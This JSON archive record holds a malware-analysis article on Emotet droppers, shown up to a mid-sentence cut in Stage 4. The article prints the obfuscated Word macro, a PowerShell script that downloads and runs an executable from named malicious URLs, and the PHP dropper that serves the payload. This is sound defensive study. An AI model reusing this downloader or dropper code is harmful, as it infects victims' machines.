{
	"id": "efc9c1d7-5f43-4c9a-a4cf-fb58484cd93a",
	"created_at": "2026-04-06T00:22:06.652886Z",
	"updated_at": "2026-04-10T13:12:44.288416Z",
	"deleted_at": null,
	"sha1_hash": "c870fbad5ef73ada73729daab1f67915ac19da3d",
	"title": "Emotet droppers – Max Kersten",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 148656,
	"plain_text": "Emotet droppers – Max Kersten\r\nArchived: 2026-04-05 16:09:34 UTC\r\nThis article was published on the 16th of February 2019. This article was updated on the 19th of March 2020, and\r\non the 3rd of November 2021.\r\nThe Emotet trojan has been active for multiple years and has delivered numerous payloads. In the beginning, the\r\ntrojan injected itself during the payment process of a purchase, but over the years the malware has transitioned to\r\nalso drop other trojans. At the time of writing, the main spreading method is via spam campaigns. The e-mails\r\ncontain a malicious attachment that is often referred to as an invoice.\r\nTable of contents\r\nSample information\r\nPrerequisite – PHP\r\nStage 1 – The malicious macro\r\nStage 2 – The dropped Powershell script\r\nStage 3 – The wrongly configured website\r\nStage 4 – Returning the payload\r\nStage 5 – The binary\r\nConclusion\r\nSample information\r\nThe samples were shared with me by b1nary on Telegram. Note that URLs in the macro differ from the wrongly\r\nconfigured website that is analysed later on. This has no influence on the analysis, but it is pointed out for\r\ntransparency. One can download all the required files from VirusBay, Malware Bazaar, or MalShare. Details are\r\ngiven below.\r\nMD5: 52b94921d9e57a2009fb0c562aab25bc\r\nSHA-1: 32bcf8bbf7a5a3e88f4025179f4be9445b8e7ec8\r\nSHA-256: 59c3bb00017dd3bb1abd4d42d9a50df24fcd320bacf5335d1c030b772dc796c5\r\nPrerequisite – PHP\r\nLater on, PHP files will be analysed and executed to obtain data. For those following along, PHP needs to be\r\ninstalled. To install PHP on Debian based systems, one can simply use the command that is given below.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 1 of 19\n\nsudo apt-get install php7.2-cli\r\nFor Windows, the information is given on the PHP site, which can be found here.\r\nStage 1 – The malicious macro\r\nThe attachment, which was received on the first of February 2019, is named Factura_OS-0689.doc. Upon opening\r\nit (with macros disabled, on a non Windows based system to avoid an accidental infection), a social engineering\r\nattempt becomes apparent. Below, the text within the image is given.\r\nThis document is protected\r\nTo open the document,\r\nfollow these steps:\r\nThis document is only available for desktop op laptop versions of Microsoft Office word\r\nClick Enable editing button from the yellow bar above\r\nOnce you have enabled editing, please click Enable content button from the yellow bar above\r\nAside from the oddly phrased sentences, this is an obvious attempt to lure an unsuspecting victim into executing\r\nthe payload of the document.\r\nThe document contains one form (named f), three modules (d40tNZH, tzUxn and VCAZiq) with a single function\r\nin each module (respectively wFjUXJ, KKZUbw and love). To ensure the execution of the macro when the file is\r\nopened, the Document_Open event is used. The code that is executed when this event is triggered, is given below.\r\nRem Attribute VBA_ModuleType=VBADocumentModule\r\nOption VBASupport 1\r\nSub Document_Open()\r\nIf 45 * 13 = 3562 - 3555 Then\r\ntDtKeGn = \"q6Cxy\"\r\nEnd If\r\nDim tu96ocCK As Single\r\ntu96ocCK = Round(20521.794670846)\r\nDim hAanT8Em2 As Double\r\nhAanT8Em2 = Sgn(58540.935390342)\r\nDim HMkjb As Long\r\nHMkjb = (3330 / 370) + (6)\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 2 of 19\n\nlove \"o\"\r\nEnd Sub\r\nAt first, multiple variables are declared and instantiated. None of them are used within the code after the\r\ninstantiation. The function love is called at last, with a single parameter: the string o. The code for the love\r\nfunction is given below.\r\nRem Attribute VBA_ModuleType=VBAModule\r\nOption VBASupport 1\r\nSub love(IdZALGS)\r\nDim EQUqVg9N As String\r\nEQUqVg9N = Len(YLPIkZX87)\r\nDim yDnCg14 As Long\r\nyDnCg14 = (818 - 791) - (13)\r\nDim yD7Emk2X5 As Long\r\nyD7Emk2X5 = -833133810\r\nDim T7056ZwR As Long\r\nT7056ZwR = Sgn(0)\r\nDim sBoDH7mZK As Boolean\r\nsBoDH7mZK = False\r\ncVMhaxQv = \"w\"\r\nCall Shell(KKZUbw(1) \u0026 IdZALGS \u0026 cVMhaxQv \u0026 wFjUXJ, 0)\r\nEnd Sub\r\nThe lay-out of this function is similar to the previous one, in the sense that it first declares and instantiates\r\nmultiple variables which are never used. Note that the function argument IdZALGS is used and equals o. The Call\r\nShell method contains all the malicious content.\r\nThe second argument (the 0) sets the window mode of the shell. The value zero equals vbHide, meaning the shell\r\nwindow is hidden from the user.\r\nBelow, the functions KKZUbw(1) and wFjUXJ are analysed. The variable cVMhaxQv equals w, as it is set to in the\r\nline above the Call Shell function. The shell command, in which the two known variables are replaced by their\r\nvalue, is given below for context.\r\nCall Shell(KKZUbw(1) \u0026 \"o\" \u0026 \"w\" \u0026 wFjUXJ, 0)\r\nThe code for KKZUbw is given below.\r\nRem Attribute VBA_ModuleType=VBAModule\r\nOption VBASupport 1\r\nPublic Function KKZUbw(OVOcS As Integer)\r\nDim FC4Vz As Integer\r\nFC4Vz = Sgn(-24987)\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 3 of 19\n\nKKZUbw = \"p\"\r\nEnd Function\r\nThe provided variable OVOcS equals 1, as it was passed from love. Both the provided argument and the integer\r\nFC4Vz are never used. The function KKZUbw is set to equal p, which is the return value.\r\nFor additional context, the shell command with substituted variables, is given below.\r\nCall Shell(\"p\" \u0026 \"o\" \u0026 \"w\" \u0026 wFjUXJ, 0)\r\nThe last function that is called, is wFjUXJ. The code is given below.\r\nRem Attribute VBA_ModuleType=VBAModule\r\nOption VBASupport 1\r\nPublic Function wFjUXJ()\r\nDim ohw7OLNTg As Object\r\nSet ohw7OLNTg = New f\r\nDim YVyOsk As String\r\nYVyOsk = ohw7OLNTg.de.Text\r\nwFjUXJ = YVyOsk\r\nEnd Function\r\nThe variable ohw7OLNTg is first declared as a generic object. One line later, it is defined as f, the form object\r\nwithin the document. The form has a button, named es, which displays the text Cc3KM. Additionally, a textbox\r\nwith the name de is present. The text within the textbox is given below.\r\nershell $u5XQYhS = '$IY2E4 = new-obj6236.9355943074ect -com6236.9355943074obj6236.9355943074ect wsc62\r\nSince the pow should be in front, the first word in the string is powershell.\r\nThe complete script is given below.\r\npowershell $u5XQYhS = '$IY2E4 = new-obj6236.9355943074ect -com6236.9355943074obj6236.9355943074ect ws\r\nStage 2 – The dropped Powershell script\r\nThe Powershell code is best read with a couple of new lines, as is seen below.\r\n$u5XQYhS = '$IY2E4 = new-obj6236.9355943074ect -com6236.9355943074obj6236.9355943074ect wsc6236.93559\r\n.replace('6236.9355943074', $xZGUua);\r\n$Zvg3H6 = '';\r\niex($u5XQYhS);\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 4 of 19\n\nThe variable $xZGUua is equal to nothing, hence the string 6236.9355943074 is simply removed from the code\r\nabove. Doing so results in readable code. To improve readability, simply replace the semicolons with ;\\n in a text\r\neditor. After each command, a new line is added. The readable code is given below.\r\nNote that iex($u5XQYhS); is used to execute the Powershell script that is described below. The function iex stands\r\nfor Invoke-Expression, as can be seen in the Microsoft documentation. Below, the script that will be executed is\r\nanalysed.\r\n$IY2E4 = new-object -comobject wscript.shell;\r\n$WrDq5hf = new-object system.net.webclient;\r\n$h2JAbj3E = new-object random;\r\n$Lcik8RtZ = \\\"http://pro-course.ru/7WN7n1n,http://tapchisuckhoengaynay.com/wp-admin/Attachments/FJhzt\r\n$zKrReq4A = $h2JAbj3E.next(1, 65536);\r\n$XqzWsIE = \\\"c:\\windows\\temp\\putty.exe\\\";\r\nforeach($VZxSuD9 in $Lcik8RtZ){\r\ntry{\r\n$WrDq5hf.downloadfile($VZxSuD9.ToString(), $XqzWsIE);\r\nstart-process $XqzWsIE;\r\nbreak;\r\n}catch{}\r\n}\r\nThe first three variables, $IY2E4, $WrDq5hf and $h2JAbj3E, can be renamed based on the object types. Their new\r\nnames are, respectively, $wscriptShell, $webClient and $randomGenerator.\r\nThe next variable, $Lcik8RtZ, is a string of URLs which is split, returning an array of URLs. Hence, it can be\r\nrenamed to $urlArray.\r\nThe result of the random generator ranges between 1 and 65535, since the last value is the limit, which is excluded\r\nfrom the possible result. This equals the maximum value of a sixteen bit unsigned integer (uint16_t): two to the\r\npower 16. The result of the random generator is saved in the variable $zKrReq4A. This variable can be refactored\r\nto $randomNumber.\r\nLastly, the variable $XqzWsIE is equal to the path where the file is downloaded to and executed from. As such, it\r\ncan be refactored to $downloadedFile. The refactored code is given below.\r\n$wscriptShell = new-object -comobject wscript.shell;\r\n$webClient = new-object system.net.webclient;\r\n$randomGenerator = new-object random;\r\n$urlArray = \\\"http://pro-course.ru/7WN7n1n,http://tapchisuckhoengaynay.com/wp-admin/Attachments/FJhzt\r\n$randomNumber = $randomGenerator.next(1, 65536);\r\n$downloadedFile = \\\"c:\\windows\\temp\\putty.exe\\\";\r\nforeach($url in $urlArray){\r\ntry{\r\n$webClient.downloadfile($url.ToString(), $downloadedFile);\r\nstart-process $downloadedFile;\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 5 of 19\n\nbreak;\r\n}catch{}\r\n}\r\nThe script cycles through all the domain names and tries to download the next stage to the victim’s computer,\r\nmore specifically to C:\\windows\\temp\\putty.exe. If the download succeeds, the downloaded file is executed. If an\r\nerror occurs, the next URL is tried since the catch clause is left empty. If all of the URLs are unavailable, the script\r\nterminates and the victim’s device remains unaffected.\r\nStage 3 – The wrongly configured website\r\nGenerally, the visited site simply returns the payload. In this case, a wrongly configured website was found, which\r\nlet the site function as an open directory instead. The PHP file that is analysed in this stage, and the result of it\r\n(stage 4), are generally left unobserved, as it is server sided code. The wrongly configured website is given below,\r\nalthough it is now unavailable.\r\nhttp://adsuide.club/y77QTKhV/\r\nThe content of the PHP file was beautified to increase the readability. Note that the payload is omitted here due to\r\nits length, namely 196 393 characters. The code is given below.\r\n\u003c?php\r\nfunction fn5c62c1bcb819b($s) {\r\n$x = '';\r\nfor ($i = 0, $n = strlen($s); $i \u003c $n; $i+= 2)\r\n{\r\n$x.= pack('H*', substr($s, $i, 2));\r\n}\r\nreturn $x;\r\n}\r\n$n5c62c1bcb81d1 = fn5c62c1bcb819b('6576616c28677a696e666c617465286261736536345f6465636f64652822');\r\n$n5c62c1bcb8206 = fn5c62c1bcb819b('222929293b');\r\neval($n5c62c1bcb81d1 . '[omitted due to size]' . $n5c62c1bcb8206);\r\nThe function fn5c62c1bcb819b is used to transform two strings using the pack function from PHP. The H is used\r\nto provide information about the string type, in this case hexadecimal with the high nibble first. The asterisk is\r\nused to indicate that the whole string should be taken into account. The function can therefore be refactored to\r\ndecode.\r\nThe variables $n5c62c1bcb81d1 and $n5c62c1bcb8206 are equal to the result of the decode function. Decoding\r\nboth strings provides provides more information. In the code below, the [base64-encoded-value-here] is where the\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 6 of 19\n\npayload originally resided.\r\neval(gzinflate(base64_decode(\"[base64-encoded-value-here]\")));\r\nThe data is encoded in two ways, meaning it should be decoded before it can be executed. The complete function\r\nis given below. Note that the eval function call has been removed, since the payload shouldn’t be executed.\r\nInstead, it has been replaced with file_put_contents to save the file for a more detailed analysis. The path that has\r\nbeen used, should be absolute.\r\n\u003c?php\r\nfunction decode($stringToDecode) {\r\n$output = '';\r\nfor ($i = 0, $n = strlen($stringToDecode); $i \u003c $n; $i+= 2) {\r\n$output.= pack('H*', substr($stringToDecode, $i, 2));\r\n}\r\nreturn $output;\r\n}\r\n$commandPart1 = decode('6576616c28677a696e666c617465286261736536345f6465636f64652822');\r\n$commandPart2 = decode('222929293b');\r\necho \"Command equals:\\n\";\r\necho $commandPart1 . \"[base64-encoded-value-here]\" . $commandPart2 . \"\\n\";\r\nfile_put_contents(\"/home/libra/Desktop/emotet/stage4.php\", (gzinflate(base64_decode('[omitted due to\r\nNote that the file that is written to the disk is a PHP file, since the eval function executes the given string as PHP\r\ncode.\r\nStage 4 – Returning the payload\r\nThe complete beautified PHP file is given below. To retain readability, it will be analysed in parts.\r\n\u003c?php\r\nerror_reporting(0);\r\nset_time_limit(0);\r\nini_set('max_execution_time', 0);\r\nini_set('memory_limit', -1);\r\nheader('Expires: Tue, 01 Jan 1970 00:00:00 GMT');\r\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');\r\nheader('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');\r\nheader('Cache-Control: post-check=0, pre-check=0', false);\r\nheader('Pragma: no-cache');\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 7 of 19\n\nif (function_exists('opcache_invalidate')) {\r\nopcache_invalidate(__FILE__, true);\r\n}\r\nclass O\r\n{\r\nprivate $content_ = '[omitted due to size]';\r\nprivate $contentName_ = 'iMDbapCVgUb.exe';\r\nprivate $contentType_ = 'application/octet-stream';\r\nprivate $regex_ = array(\r\narray(\r\n'(?:(?:Orca-)?Android|Adr)[ /](?:[a-z]+ )?(\\\\d+[\\\\.\\\\d]+)',\r\n'Android|Silk-Accelerated=[a-z]{4,5}\r\n',\r\n'BeyondPod|AntennaPod|Podkicker|DoggCatcher|Player FM|okhttp|Podcatcher Delux\r\n) ,\r\narray(\r\n'CFNetwork/758\\\\.4\\\\.3',\r\n'CFNetwork/758\\\\.3\\\\.15',\r\n'CFNetwork/758\\\\.2\\\\.[78]',\r\n'CFNetwork/758\\\\.1\\\\.6',\r\n'CFNetwork/758\\\\.0\\\\.2',\r\n'CFNetwork/711\\\\.5\\\\.6',\r\n'CFNetwork/711\\\\.4\\\\.6',\r\n'CFNetwork/711\\\\.3\\\\.18',\r\n'CFNetwork/711\\\\.2\\\\.23',\r\n'CFNetwork/711\\\\.1\\\\.1[26]',\r\n'CFNetwork/711\\\\.0\\\\.6',\r\n'CFNetwork/672\\\\.1',\r\n'CFNetwork/672\\\\.0',\r\n'CFNetwork/609\\\\.1',\r\n'CFNetwork/60[29]',\r\n'CFNetwork/548\\\\.1',\r\n'CFNetwork/548\\\\.0',\r\n'CFNetwork/485\\\\.13',\r\n'CFNetwork/485\\\\.12',\r\n'CFNetwork/485\\\\.10',\r\n'CFNetwork/485\\\\.2',\r\n'CFNetwork/467\\\\.12',\r\n'CFNetwork/459',\r\n'(?:CPU OS|iPh(?:one)?[ _]OS|iOS)[ _/](\\\\d+(?:[_\\\\.]\\\\d+)*)',\r\n'(?:Apple-)?(?:iPhone|iPad|iPod)(?:.*Mac OS X.*Version/(\\\\d+\\\\.\\\\d+)|;\r\n Opera)?',\r\n'Podcasts/(?:[\\\\d\\\\.]+)|Instacast(?:HD)?/(?:\\\\d\\\\.[\\\\d\\\\.abc]+)|Pocket Casts\r\n'iTunes-(iPod|iPad|iPhone)/(?:[\\\\d\\\\.]+)'\r\n) ,\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 8 of 19\n\narray(\r\n'Maemo',\r\n'Arch ?Linux(?:[ /\\\\-](\\\\d+[\\\\.\\\\d]+))?',\r\n'VectorLinux(?: package)?(?:[ /\\\\-](\\\\d+[\\\\.\\\\d]+))?',\r\n'Linux;\r\n .*((?:Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva|Gentoo|Sabayon|Slac\r\n'(Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva\r\n'Linux(?:OS)?[^a-z]'\r\n) ,\r\narray(\r\n'CFNetwork/760',\r\n'CFNetwork/720',\r\n'CFNetwork/673',\r\n'CFNetwork/596',\r\n'CFNetwork/520',\r\n'CFNetwork/454',\r\n'CFNetwork/(?:438|422|339|330|221|220|217)',\r\n'CFNetwork/12[89]',\r\n'CFNetwork/1\\\\.2',\r\n'CFNetwork/1\\\\.1',\r\n'Mac OS X(?: (?:Version )?(\\\\d+(?:[_\\\\.]\\\\d+)+))?',\r\n'Mac (\\\\d+(?:[_\\\\.]\\\\d+)+)',\r\n'Darwin|Macintosh|Mac_PowerPC|PPC|Mac PowerPC|iMac|MacBook'\r\n) ,\r\narray(\r\n'CYGWIN_NT-10.0|Windows NT 10.0|Windows 10',\r\n'CYGWIN_NT-6.4|Windows NT 6.4|Windows 10',\r\n'CYGWIN_NT-6.3|Windows NT 6.3|Windows 8.1',\r\n'CYGWIN_NT-6.2|Windows NT 6.2|Windows 8',\r\n'CYGWIN_NT-6.1|Windows NT 6.1|Windows 7',\r\n'CYGWIN_NT-6.0|Windows NT 6.0|Windows Vista',\r\n'CYGWIN_NT-5.2|Windows NT 5.2|Windows Server 2003 / XP x64',\r\n'CYGWIN_NT-5.1|Windows NT 5.1|Windows XP'\r\n) ,\r\narray(\r\n'.?'\r\n)\r\n);\r\nprivate function spabbd98($sp1bd672)\r\n{\r\nforeach($this-\u003eregex_ as $spda961f =\u003e $spd59ff0) {\r\nforeach($spd59ff0 as $sp439cf2) {\r\n$sp439cf2 = '/(?:^|[^A-Z_-])(?:' . str_replace('/', '\\\\/', $sp439cf2\r\nif (preg_match($sp439cf2, $sp1bd672)) {\r\nreturn $spda961f;\r\n}\r\n}\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 9 of 19\n\n}\r\nreturn -1;\r\n}\r\npublic function execute()\r\n{\r\n$sp1cb870 = '.' . sha1(basename(dirname(__FILE__)));\r\ntouch($sp1cb870);\r\n$spdfc158 = fopen($sp1cb870, 'r+');\r\nif ($spdfc158 !== false) {\r\nif (flock($spdfc158, LOCK_EX)) {\r\n$sp7c7c2a = array();\r\n$spe8c644 = filesize($sp1cb870);\r\nif ($spe8c644 \u003e 0) {\r\n$sp7c7c2a = json_decode(fread($spdfc158, $spe8c644) , true);\r\n}\r\n$sp6345e2 = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_\r\n$spda961f = $this-\u003espabbd98($sp6345e2);\r\nif ($spda961f \u003e 0) {\r\nif (!isset($sp7c7c2a[$spda961f]) || !is_int($sp7c7c2a[$spda96\r\n$sp7c7c2a[$spda961f] = 0;\r\n}\r\n$sp7c7c2a[$spda961f]++;\r\n}\r\nfseek($spdfc158, 0);\r\nfwrite($spdfc158, json_encode($sp7c7c2a));\r\nfflush($spdfc158);\r\nflock($spdfc158, LOCK_UN);\r\n}\r\nfclose($spdfc158);\r\n}\r\nheader('Content-Type: ' . $this-\u003econtentType_);\r\nheader('Content-Disposition: attachment;\r\n filename=\"' . $this-\u003econtentName_ . '\"');\r\nheader('Content-Transfer-Encoding: binary');\r\nreturn base64_decode($this-\u003econtent_);\r\n}\r\n}\r\nif ($_SERVER['QUERY_STRING']) {\r\ndie($_SERVER['QUERY_STRING']);\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 10 of 19\n\n}\r\nif ($_SERVER['REQUEST_METHOD'] != 'GET') {\r\ndie(uniqid());\r\n}\r\n$sp58859d = new O();\r\necho $sp58859d-\u003eexecute();\r\nThe first observation that can be made is the separation of the checks that are executed based on the visitor’s\r\nrequest and the payload that is decoded. At first, the checks are analysed. After that, the code that decodes the\r\npayload is analysed.\r\n\u003c?php\r\nerror_reporting(0);\r\nset_time_limit(0);\r\nini_set('max_execution_time', 0);\r\nini_set('memory_limit', -1);\r\nheader('Expires: Tue, 01 Jan 1970 00:00:00 GMT');\r\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');\r\nheader('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');\r\nheader('Cache-Control: post-check=0, pre-check=0', false);\r\nheader('Pragma: no-cache');\r\nif (function_exists('opcache_invalidate')) {\r\nopcache_invalidate(__FILE__, true);\r\n}\r\nThe function error_reporting sets which errors are reported. The argument, in this case the value 0, ensures that no\r\nreporting takes place.\r\nTo avoid timing out, the function set_time_limit is set to an unlimited amount of time, by using the value 0.\r\nAdditionally, the user can set custom variables using the ini_set function. The variables max_execution_time and\r\nmemory_limit are set to an indefinite amount of time and memory.\r\nThe header is set to expire in the past, causing it to be invalidated immediately. Furthermore, any form of caching\r\nis disabled. The opcache_invalidate function is used to invalidate a cached script, which equals the magic constant\r\n__FILE__. This constant refers to the full path and filename of the file from which it is called. The boolean, which\r\nequals true, defines if the cache should be cleared forcefully.\r\nThe cache is emptied and avoided to never keep a copy of the payload on the server, other than the script itself.\r\nWhen a user visits the site, several checks are executed. If both checks are passed, a new object is instantiated and\r\na method of this object is invoked. The code is given below.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 11 of 19\n\nclass O {\r\n#code omitted\r\n}\r\nif ($_SERVER['QUERY_STRING']) {\r\ndie($_SERVER['QUERY_STRING']);\r\n}\r\nif ($_SERVER['REQUEST_METHOD'] != 'GET') {\r\ndie(uniqid());\r\n}\r\n$sp58859d = new O();\r\necho $sp58859d-\u003eexecute();\r\nThe variable $_SERVER is used to request information about the server and the way the PHP script is loaded. The\r\nvariable QUERY_STRING is used to obtain the query string. If any additional parameters are present in the URL,\r\nthe if-statement returns true.\r\nThe function die is similar to the exit function: it displays a message and terminates the script.\r\nLastly, the function uniqid is used to generate a unique id. If the request method for the page is not equal to the\r\nHTTP GET method, the script is terminated as well.\r\nIf both conditions are met, a new object is defined and instantiated: $sp58859d. After that, the execute function is\r\ncalled. The invoked method is part of the class named O, which is given below in parts.\r\nclass O\r\n{\r\nprivate $content_ = '[omitted due to size]';\r\nprivate $contentName_ = 'iMDbapCVgUb.exe';\r\nprivate $contentType_ = 'application/octet-stream';\r\nThe class has multiple private variables. The $content_ is omitted due to its size (292 911 characters), but contains\r\nthe encoded payload. The $contentName_ is the file name and the $contentType_ is the type of file that will be\r\nreturned, in this case an application.\r\nBelow, the $regex_ variable is given.\r\nprivate $regex_ = array(\r\narray(\r\n'(?:(?:Orca-)?Android|Adr)[ /](?:[a-z]+ )?(\\\\d+[\\\\.\\\\d]+)',\r\n'Android|Silk-Accelerated=[a-z]{4,5}\r\n',\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 12 of 19\n\n'BeyondPod|AntennaPod|Podkicker|DoggCatcher|Player FM|okhttp|Podcatcher Delux\r\n) ,\r\narray(\r\n'CFNetwork/758\\\\.4\\\\.3',\r\n'CFNetwork/758\\\\.3\\\\.15',\r\n'CFNetwork/758\\\\.2\\\\.[78]',\r\n'CFNetwork/758\\\\.1\\\\.6',\r\n'CFNetwork/758\\\\.0\\\\.2',\r\n'CFNetwork/711\\\\.5\\\\.6',\r\n'CFNetwork/711\\\\.4\\\\.6',\r\n'CFNetwork/711\\\\.3\\\\.18',\r\n'CFNetwork/711\\\\.2\\\\.23',\r\n'CFNetwork/711\\\\.1\\\\.1[26]',\r\n'CFNetwork/711\\\\.0\\\\.6',\r\n'CFNetwork/672\\\\.1',\r\n'CFNetwork/672\\\\.0',\r\n'CFNetwork/609\\\\.1',\r\n'CFNetwork/60[29]',\r\n'CFNetwork/548\\\\.1',\r\n'CFNetwork/548\\\\.0',\r\n'CFNetwork/485\\\\.13',\r\n'CFNetwork/485\\\\.12',\r\n'CFNetwork/485\\\\.10',\r\n'CFNetwork/485\\\\.2',\r\n'CFNetwork/467\\\\.12',\r\n'CFNetwork/459',\r\n'(?:CPU OS|iPh(?:one)?[ _]OS|iOS)[ _/](\\\\d+(?:[_\\\\.]\\\\d+)*)',\r\n'(?:Apple-)?(?:iPhone|iPad|iPod)(?:.*Mac OS X.*Version/(\\\\d+\\\\.\\\\d+)|;\r\n Opera)?',\r\n'Podcasts/(?:[\\\\d\\\\.]+)|Instacast(?:HD)?/(?:\\\\d\\\\.[\\\\d\\\\.abc]+)|Pocket Casts\r\n'iTunes-(iPod|iPad|iPhone)/(?:[\\\\d\\\\.]+)'\r\n) ,\r\narray(\r\n'Maemo',\r\n'Arch ?Linux(?:[ /\\\\-](\\\\d+[\\\\.\\\\d]+))?',\r\n'VectorLinux(?: package)?(?:[ /\\\\-](\\\\d+[\\\\.\\\\d]+))?',\r\n'Linux;\r\n .*((?:Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva|Gentoo|Sabayon|Slac\r\n'(Debian|Knoppix|Mint|Ubuntu|Kubuntu|Xubuntu|Lubuntu|Fedora|Red Hat|Mandriva\r\n'Linux(?:OS)?[^a-z]'\r\n) ,\r\narray(\r\n'CFNetwork/760',\r\n'CFNetwork/720',\r\n'CFNetwork/673',\r\n'CFNetwork/596',\r\n'CFNetwork/520',\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 13 of 19\n\n'CFNetwork/454',\r\n'CFNetwork/(?:438|422|339|330|221|220|217)',\r\n'CFNetwork/12[89]',\r\n'CFNetwork/1\\\\.2',\r\n'CFNetwork/1\\\\.1',\r\n'Mac OS X(?: (?:Version )?(\\\\d+(?:[_\\\\.]\\\\d+)+))?',\r\n'Mac (\\\\d+(?:[_\\\\.]\\\\d+)+)',\r\n'Darwin|Macintosh|Mac_PowerPC|PPC|Mac PowerPC|iMac|MacBook'\r\n) ,\r\narray(\r\n'CYGWIN_NT-10.0|Windows NT 10.0|Windows 10',\r\n'CYGWIN_NT-6.4|Windows NT 6.4|Windows 10',\r\n'CYGWIN_NT-6.3|Windows NT 6.3|Windows 8.1',\r\n'CYGWIN_NT-6.2|Windows NT 6.2|Windows 8',\r\n'CYGWIN_NT-6.1|Windows NT 6.1|Windows 7',\r\n'CYGWIN_NT-6.0|Windows NT 6.0|Windows Vista',\r\n'CYGWIN_NT-5.2|Windows NT 5.2|Windows Server 2003 / XP x64',\r\n'CYGWIN_NT-5.1|Windows NT 5.1|Windows XP'\r\n) ,\r\narray(\r\n'.?'\r\n)\r\n);\r\nThe array consists of arrays, each of which defines a different operating system group. At index zero, Android\r\nnames are matched. The first index contains information about iPhones, iPads and iPods. The second index\r\ncontains information about Linux distributions. The third index contains information about MacOS systems. The\r\nfourth index contains different versions of the Windows operating system. At last, a regex for any character except\r\nnewlines is used. This match serves as the other category.\r\nBelow the function that uses the $regex_ variable is given.\r\nprivate function spabbd98($sp1bd672)\r\n{\r\nforeach($this-\u003eregex_ as $spda961f =\u003e $spd59ff0) {\r\nforeach($spd59ff0 as $sp439cf2) {\r\n$sp439cf2 = '/(?:^|[^A-Z_-])(?:' . str_replace('/', '\\\\/', $sp439cf2\r\nif (preg_match($sp439cf2, $sp1bd672)) {\r\nreturn $spda961f;\r\n}\r\n}\r\n}\r\nreturn -1;\r\n}\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 14 of 19\n\nThe variable $spd59ff0 can be renamed to $forEachValue since it equals the current value of the array that is being\r\nlooped through. As such, the variable $sp439cf2 can be renamed to $nestedArray.\r\nThe function preg_match performs a regular expression (the first argument) on a string (the second argument).\r\nThe variable $sp1bd672 can thus be refactored to $regexSubject. At last, the variable $spda961f is returned. This\r\nvariable equals the operating system that was matched. As such, it can be renamed to $operatingSystem.\r\nIf no match is found, the value minus one is returned. This can happen when the given argument is either null or\r\nconsists only of newline characters. The refactored code is given below.\r\nprivate function getOperatingSystem($regexSubject)\r\n{\r\nforeach($this-\u003eregex_ as $operatingSystem =\u003e $forEachValue) {\r\nforeach($forEachValue as $nestedArray) {\r\n$nestedArray = '/(?:^|[^A-Z_-])(?:' . str_replace('/', '\\\\/', $nested\r\nif (preg_match($nestedArray, $regexSubject)) {\r\nreturn $operatingSystem;\r\n}\r\n}\r\n}\r\nreturn -1;\r\n}\r\nThe execute function is given below in parts.\r\npublic function execute() {\r\n$sp1cb870 = '.' . sha1(basename(dirname(__FILE__)));\r\nThe variable $sp1cb870 is equal to the SHA-1 hash of the basename of the dirname of the magic constant\r\n__FILE__. The basename returns the trailing name of the component. The dirname returns the parent directory of\r\nthe provided argument (the magic constant __FILE__, which equals the script itself). Note that the file name starts\r\nwith a dot, making it a hidden file on Unix-like systems.\r\nA proof-of-concept of this line is given below. The name of the folder in which the script resided, was emotet.\r\n\u003c?php echo sha1(basename(dirname(__FILE__))) . \"\\n\";\r\nThe output of this script equals 8def78060ee806dcf94e65eb9b2fdf4ca1adb2de, which is the SHA-1 hash of\r\nemotet. The variable can be renamed to $sha1Hash.\r\nBelow, the next couple of lines are given.\r\ntouch($sha1Hash);\r\n$spdfc158 = fopen($sha1Hash, 'r+');\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 15 of 19\n\nThe touch function is used to set the time of a file. If the file does not exist, it is created.\r\nThe newly created file is then opened using fopen. The parameter r+ opens the file as readable and writable with\r\nthe file pointer set at the beginning of the file. As such, the variable $spdfc158 can be renamed to $sha1HashFile.\r\nThe next two if-statements are given below.\r\nif ($sha1HashFile !== false) {\r\nif (flock($sha1HashFile, LOCK_EX)) {\r\n$sp7c7c2a = array();\r\n$spe8c644 = filesize($sha1Hash);\r\nif ($spe8c644 \u003e 0) {\r\n$sp7c7c2a = json_decode(fread($sha1HashFile, $spe8c644) , tru\r\n}\r\n[...]\r\nThe if-statement compares if the $sha1HashFile is true (not identical to false). If this is the case, the function flock\r\nis called with $sha1HashFile and LOCK_EX as arguments. This sets an exclusive lock on the file, meaning it\r\ncannot be modified by anything else until the file is unlocked.\r\nThe variable $spe8c644 is equal to the filesize of the $sha1Hash file. As such, it can be renamed to\r\n$sha1HashFileSize.\r\nThe json_decode function is used together with fread. The json_decode function is used to decode JSON. The\r\nsecond argument (true) is used to ensure that the return value is 